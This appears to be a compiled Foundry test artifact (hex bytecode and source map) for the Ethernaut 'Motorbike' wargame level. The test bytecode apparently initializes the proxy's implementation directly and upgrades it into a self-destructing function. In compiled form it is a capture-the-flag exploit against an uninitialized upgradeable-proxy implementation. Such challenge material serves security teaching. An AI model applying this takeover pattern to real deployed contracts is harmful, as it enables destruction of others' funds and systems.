038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db1565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db1565b611bf89086611dca565b611c029190611e14565b611c0c9190611de1565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b9150604084013590509250925092565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611daa57611daa611d85565b5060010190565b81810381811115611dc457611dc4611d85565b92915050565b8082028115828204841417611dc457611dc4611d85565b5f82611dfb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc457611dc4611d8556fea264697066735822122066af37f02a1e446ad91bfc4bf9b0dd5322bb220097108143b357e6128534eb5464736f6c63430008180033608060405234801562000010575f80fd5b5060405162000daa38038062000daa83398101604081905262000033916200042b565b6040516001600160a01b03821660248201528390839060440160408051601f198184030181529190526020810180516001600160e01b0390811663189acdbd60e31b17909152839082906200008f90839083905f90620000a916565b506200009d905082620000da565b505050505050620004e7565b620000b4836200014b565b5f82511180620000c15750805b15620000d557620000d383836200018c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200011b5f8051602062000d63833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16200014881620001bb565b50565b620001568162000258565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6060620001b4838360405180606001604052806027815260200162000d8360279139620002ef565b9392505050565b6001600160a01b038116620002265760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f8051602062000d638339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b620002c75760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016200021d565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc62000237565b60606001600160a01b0384163b620003595760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016200021d565b5f80856001600160a01b03168560405162000375919062000496565b5f60405180830381855af49150503d805f8114620003af576040519150601f19603f3d011682016040523d82523d5f602084013e620003b4565b606091505b509092509050620003c7828286620003d1565b9695505050505050565b60608315620003e2575081620001b4565b825115620003f35782518084602001fd5b8160405162461bcd60e51b81526004016200021d9190620004b3565b80516001600160a01b038116811462000426575f80fd5b919050565b5f805f606084860312156200043e575f80fd5b62000449846200040f565b925062000459602085016200040f565b915062000469604085016200040f565b90509250925092565b5f5b838110156200048e57818101518382015260200162000474565b50505f910152565b5f8251620004a981846020870162000472565b9190910192915050565b602081525f8251806020840152620004d381604085016020870162000472565b601f01601f19169190910160400192915050565b61086e80620004f55f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b610346836103e2565b5f825111806103525750805b156101b7576103618383610421565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61039061030b565b604080516001600160a01b03928316815291841660208301520160405180910390a16101538161044d565b5f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61032e565b6103eb81610525565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b60606104468383604051806060016040528060278152602001610812602791396105c9565b9392505050565b6001600160a01b0381166104c95760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016102db565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039290921691909117905550565b6001600160a01b0381163b6105a25760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016102db565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104ec565b60606001600160a01b0384163b6106485760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60448201527f6e7472616374000000000000000000000000000000000000000000000000000060648201526084016102db565b5f80856001600160a01b03168560405161066291906107c4565b5f60405180830381855af49150503d805f811461069a576040519150601f19603f3d011682016040523d82523d5f602084013e61069f565b606091505b50915091506106af8282866106b9565b9695505050505050565b606083156106c8575081610446565b8251156106d85782518084602001fd5b8160405162461bcd60e51b81526004016102db91906107df565b80356001600160a01b0381168114610708575f80fd5b919050565b5f6020828403121561071d575f80fd5b610446826106f2565b5f805f60408486031215610738575f80fd5b610741846106f2565b9250602084013567ffffffffffffffff8082111561075d575f80fd5b818601915086601f830112610770575f80fd5b81358181111561077e575f80fd5b87602082850101111561078f575f80fd5b6020830194508093505050509250925092565b5f5b838110156107bc5781810151838201526020016107a4565b50505f910152565b5f82516107d58184602087016107a2565b9190910192915050565b602081525f82518060208401526107fd8160408501602087016107a2565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212203e1cf275377e8bb61cf9b931569a705adcb93eec1d89a2b1d063e39d5340117464736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212201774db863aeb4904c1c53f4bc38af738bda444e525ea90f2e7219df79c2b358864736f6c63430008180033","sourceMap":"3126:44:2:-:0;;;3166:4;-1:-1:-1;;3126:44:2;;;;;;;1016:26:12;;;;;;;;;-1:-1:-1;;;420:32:154;216:27:155;413:2092:139;420:32:154;259:12:155;413:2092:139;420:32:154;410:43;382:71;;413:2092:139;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801562000010575f80fd5b506004361062000198575f3560e01c806385db81cc11620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000327578063f82de7b01462000331578063fa7626d41462000348575f80fd5b8063b5d11e9914620002e6578063b90a68fa14620002f0578063ba414fa6146200031d575f80fd5b80639b59adbc11620000c75780639b59adbc14620002ad578063ae8421e114620002d5578063b5508aa914620002dc575f80fd5b806385db81cc146200028c578063916a17c614620002a3575f80fd5b80633e5e3c23116200014b578063792e11f51162000123578063792e11f51462000252578063832e5fc2146200026957806385226c811462000273575f80fd5b80633e5e3c2314620002255780633f7286f4146200022f57806366d9a9a01462000239575f80fd5b80631ed7831c116200017f5780631ed7831c14620001dc5780632356661a14620001f55780632ade3880146200020c575f80fd5b80630a9254e4146200019c5780631c7db66914620001a8575b5f80fd5b620001a662000356565b005b620001bf620001b936600462001c13565b620009d0565b6040516001600160a01b0390911681526020015b60405180910390f35b620001e662000b9a565b604051620001d3919062001c56565b620001bf6200020636600462001d42565b62000bfc565b6200021662000dc7565b604051620001d3919062001e15565b620001e662000f0f565b620001e662000f6f565b6200024362000fcf565b604051620001d3919062001ed8565b620001e66200026336600462001fa5565b620010b4565b620001a662001244565b6200027d620012dd565b604051620001d3919062001fbd565b620001bf6200029d36600462002023565b620013b2565b62000243620014d1565b620002c4620002be36600462002041565b620015b6565b6040519015158152602001620001d3565b620001a65fff5b6200027d62001746565b620001a66200181b565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001bf565b620002c46200190a565b620001e6620019c5565b620001a66200034236600462001fa5565b62001a25565b601e54620002c49060ff1681565b5f620003636002620010b4565b9050805f815181106200037a576200037a6200207d565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200042f575f80fd5b505af115801562000442573d5f803e3d5ffd5b50505050806001815181106200045c576200045c6200207d565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b15801562000511575f80fd5b505af115801562000524573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200057f575f80fd5b505af115801562000592573d5f803e3d5ffd5b5050602254620005ae92506001600160a01b03169050620013b2565b60205f6101000a8154816001600160a01b0302191690836001600160a01b031602179055505f620006146040518060400160405280601081526020017f4d6f746f7262696b65466163746f72790000000000000000000000000000000081525062000bfc565b6020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000674575f80fd5b505af115801562000687573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006e6575f80fd5b505af1158015620006f9573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000754575f80fd5b505af115801562000767573d5f803e3d5ffd5b50506020546200078592506001600160a01b03169050825f620009d0565b6021805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169182179055604051630667f9d760e41b815260048101919091527f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60248201525f90737109709ecfa91a80626ff3989d68f67f5b1dd12d9063667f9d7090604401602060405180830381865afa15801562000829573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200084f919062002091565b5f1c9050806001600160a01b0316638129fc1c6040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200088c575f80fd5b505af11580156200089f573d5f803e3d5ffd5b50506040805160048082526024820183526020820180516001600160e01b03167fae8421e10000000000000000000000000000000000000000000000000000000017905291517f4f1ef2860000000000000000000000000000000000000000000000000000000081526001600160a01b0386169450634f1ef28693506200092a9230929101620020a9565b5f604051808303815f87803b15801562000942575f80fd5b505af115801562000955573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620009b4575f80fd5b505af1158015620009c7573d5f803e3d5ffd5b50505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562000a2c575f80fd5b505af115801562000a3f573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b15801562000a9f575f80fd5b505af115801562000ab2573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000b17573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b40919081019062002161565b9050806001825162000b539190620022f1565b8151811062000b665762000b666200207d565b60200260200101515f015160028151811062000b865762000b866200207d565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000bf257602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000bd3575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000c5c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000c85919081019062002307565b90505f81848560405160200162000c9e92919062002351565b60408051601f198184030181529082905262000cbe9291602001620023ff565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000d2290859060040162002431565b5f60405180830381865afa15801562000d3d573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000d66919081019062002307565b90505f62000db36040518060400160405280601081526020017f2e62797465636f64652e6f626a656374000000000000000000000000000000008152508362001ab490919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000f06575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000eee578382905f5260205f2001805462000e5c9062002445565b80601f016020809104026020016040519081016040528092919081815260200182805462000e8a9062002445565b801562000ed95780601f1062000eaf5761010080835404028352916020019162000ed9565b820191905f5260205f20905b81548152906001019060200180831162000ebb57829003601f168201915b50505050508152602001906001019062000e3c565b50505050815250508152602001906001019062000dea565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000bf257602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000bd3575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000bf257602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000bd3575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000f06575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200109b57602002820191905f5260205f20905f905b82829054906101000a900460e01b6001600160e01b031916815260200190600401906020826003010492830192600103820291508084116200105c5790505b5050505050815250508152602001906001019062000ff2565b60605f8267ffffffffffffffff811115620010d357620010d362001ca4565b604051908082528060200260200182016040528015620010fd578160200160208202803683370190505b5090505f5b838110156200123d575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af11580156200114a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200117091906200247f565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b158015620011ee575f80fd5b505af115801562001201573d5f803e3d5ffd5b50505050808383815181106200121b576200121b6200207d565b6001600160a01b03909216602092830291909101909101525060010162001102565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b1580156200129b575f80fd5b505af1158015620012ae573d5f803e3d5ffd5b5050602054602154620012db9350620012d592506001600160a01b039182169116620015b6565b62001b56565b565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000f06578382905f5260205f20018054620013209062002445565b80601f01602080910402602001604051908101604052809291908181526020018280546200134e9062002445565b80156200139d5780601f1062001373576101008083540402835291602001916200139d565b820191905f5260205f20905b8154815290600101906020018083116200137f57829003601f168201915b50505050508152602001906001019062001300565b5f80604051620013c29062001bd4565b604051809103905ff080158015620013dc573d5f803e3d5ffd5b5090505f604051620013ee9062001be2565b604051809103905ff08015801562001408573d5f803e3d5ffd5b508483604051620014199062001bf0565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff08015801562001453573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b158015620014b2575f80fd5b505af1158015620014c5573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000f06575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200159d57602002820191905f5260205f20905f905b82829054906101000a900460e01b6001600160e01b031916815260200190600401906020826003010492830192600103820291508084116200155e5790505b50505050508152505081526020019060010190620014f4565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001612575f80fd5b505af115801562001625573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b15801562001683575f80fd5b505af115801562001696573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af1158015620016fa573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001723919081019062002161565b90506001815111156200173b57600191505062001740565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000f06578382905f5260205f20018054620017899062002445565b80601f0160208091040260200160405190810160405280929190818152602001828054620017b79062002445565b8015620018065780601f10620017dc5761010080835404028352916020019162001806565b820191905f5260205f20905b815481529060010190602001808311620017e857829003601f168201915b50505050508152602001906001019062001769565b6040517ff28dceb300000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e742075736572000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063f28dceb3906084015f604051808303815f87803b158015620018d2575f80fd5b505af1158015620018e5573d5f803e3d5ffd5b50506020546021546200190793506001600160a01b03918216925016620015b6565b50565b6008545f9060ff161562001922575060085460ff1690565b604051630667f9d760e41b8152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa15801562001998573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620019be919062002091565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000bf257602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000bd3575050505050905090565b5f62001a3282436200249d565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b15801562001a99575f80fd5b505af115801562001aac573d5f803e3d5ffd5b505050505050565b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be89062001b0b9086908690600401620024b3565b5f60405180830381865afa15801562001b26573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001b4f9190810190620024e4565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015f6040518083038186803b15801562001bba575f80fd5b505afa15801562001bcd573d5f803e3d5ffd5b5050505050565b610ae5806200251b83390190565b611e7a806200300083390190565b610daa8062004e7a83390190565b6001600160a01b038116811462001907575f80fd5b5f805f6060848603121562001c26575f80fd5b833562001c338162001bfe565b9250602084013562001c458162001bfe565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001c985783516001600160a01b03168352928401929184019160010162001c71565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001cde5762001cde62001ca4565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001d105762001d1062001ca4565b604052919050565b5f67ffffffffffffffff82111562001d345762001d3462001ca4565b50601f01601f191660200190565b5f6020828403121562001d53575f80fd5b813567ffffffffffffffff81111562001d6a575f80fd5b8201601f8101841362001d7b575f80fd5b803562001d9262001d8c8262001d18565b62001ce4565b81815285602083850101111562001da7575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001de057818101518382015260200162001dc6565b50505f910152565b5f815180845262001e0181602086016020860162001dc4565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001ec957603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001eb257605f1988850301835262001e9f84865162001de8565b948d01949350918c019160010162001e80565b505050968901969350509087019060010162001e3a565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001f9757888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001f815783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001f3d565b5096890196945050509086019060010162001eff565b509098975050505050505050565b5f6020828403121562001fb6575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b828110156200201657603f198886030184526200200385835162001de8565b9450928501929085019060010162001fe4565b5092979650505050505050565b5f6020828403121562002034575f80fd5b813562001b4f8162001bfe565b5f806040838503121562002053575f80fd5b8235620020608162001bfe565b91506020830135620020728162001bfe565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215620020a2575f80fd5b5051919050565b6001600160a01b0383168152604060208201525f620020cc604083018462001de8565b949350505050565b5f67ffffffffffffffff821115620020f057620020f062001ca4565b5060051b60200190565b5f6200210a62001d8c8462001d18565b90508281528383830111156200211e575f80fd5b62001b4f83602083018462001dc4565b5f82601f8301126200213e575f80fd5b62001b4f83835160208501620020fa565b80516200215c8162001bfe565b919050565b5f602080838503121562002173575f80fd5b825167ffffffffffffffff808211156200218b575f80fd5b818501915085601f8301126200219f575f80fd5b8151620021b062001d8c82620020d4565b81815260059190911b83018401908481019088831115620021cf575f80fd5b8585015b83811015620022d057805185811115620021eb575f80fd5b86016060818c03601f1901121562002201575f80fd5b6200220b62001cb8565b88820151878111156200221c575f80fd5b8201603f81018d136200222d575f80fd5b898101516200224062001d8c82620020d4565b81815260059190911b8201604001908b8101908f83111562002260575f80fd5b6040840193505b82841015620022825783518252928c0192908c019062002267565b845250505060408201518781111562002299575f80fd5b620022a98d8b838601016200212e565b8a83015250620022bc606083016200214f565b6040820152845250918601918601620021d3565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620017405762001740620022dd565b5f6020828403121562002318575f80fd5b815167ffffffffffffffff8111156200232f575f80fd5b8201601f8101841362002340575f80fd5b620020cc84825160208401620020fa565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f83516200238a81600585016020880162001dc4565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620023c981600a84016020880162001dc4565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f83516200241281846020880162001dc4565b8351908301906200242881836020880162001dc4565b01949350505050565b602081525f62001b4f602083018462001de8565b600181811c908216806200245a57607f821691505b6020821081036200247957634e487b7160e01b5f52602260045260245ffd5b50919050565b5f6020828403121562002490575f80fd5b815162001b4f8162001bfe565b80820180821115620017405762001740620022dd565b604081525f620024c760408301856